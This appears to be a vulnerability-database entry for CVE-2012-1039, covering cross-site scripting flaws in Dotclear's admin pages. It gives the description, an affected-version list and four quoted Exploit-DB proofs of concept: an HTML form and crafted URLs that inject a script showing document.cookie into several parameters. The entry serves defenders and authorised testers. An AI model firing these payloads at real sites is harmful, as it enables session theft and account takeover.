CVE-2012-1039

medium
Published 2012-03-19 · Modified 2026-04-29
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities in Dotclear before 2.4.2 allow remote attackers to inject arbitrary web script or HTML via the (1) login_data parameter to admin/auth.php; (2) nb parameter to admin/blogs.php; (3) type, (4) sortby, (5) order, or (6) status parameters to admin/comments.php; or (7) page parameter to admin/plugin.php.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36888 webapps php verified text · 1 KB
High-Tech Bridge SA · 2012-02-29

Dotclear 2.4.1.2 - '/admin/auth.php?login_data' Cross-Site Scripting

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/52221/info

Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/auth.php" method="post">

<input type="hidden" name="new_pwd" value="1" />
<input type="hidden" name="new_pwd_c" value="2" />
<input type="hidden" name="login_data" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>
EDB-36889 webapps php verified text · 1 KB
High-Tech Bridge SA · 2012-02-29

Dotclear 2.4.1.2 - '/admin/blogs.php?nb' Cross-Site Scripting

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/52221/info
 
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/blogs.php?nb=5%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
EDB-36890 webapps php verified text · 1 KB
High-Tech Bridge SA · 2012-02-29

Dotclear 2.4.1.2 - '/admin/comments.php' Multiple Cross-Site Scripting Vulnerabilities

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/52221/info
  
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/comments.php?type=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?sortby=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?order=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?status=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
EDB-36891 webapps php verified text · 1 KB
High-Tech Bridge SA · 2012-02-29

Dotclear 2.4.1.2 - '/admin/plugin.php?page' Cross-Site Scripting

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/52221/info
   
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/plugin.php?p=tags&m=tag_posts&tag=[TAG]&page=1%27%22%3E%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E

Application impact

VendorProductVersionsFixed
dotcleardotclear{"endIncluding":"2.3.1"}
dotcleardotclear1.2.1
dotcleardotclear1.2.2
dotcleardotclear1.2.3
dotcleardotclear1.2.4
dotcleardotclear1.2.5
dotcleardotclear1.2.6
dotcleardotclear1.2.7
dotcleardotclear1.2.8
dotcleardotclear2.0
dotcleardotclear2.0.1
dotcleardotclear2.0.2
dotcleardotclear2.1
dotcleardotclear2.1.1
dotcleardotclear2.1.3
dotcleardotclear2.1.4
dotcleardotclear2.1.5
dotcleardotclear2.1.6
dotcleardotclear2.1.7
dotcleardotclear2.2
dotcleardotclear2.2.1
dotcleardotclear2.2.2
dotcleardotclear2.2.3
dotcleardotclear2.3.0

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.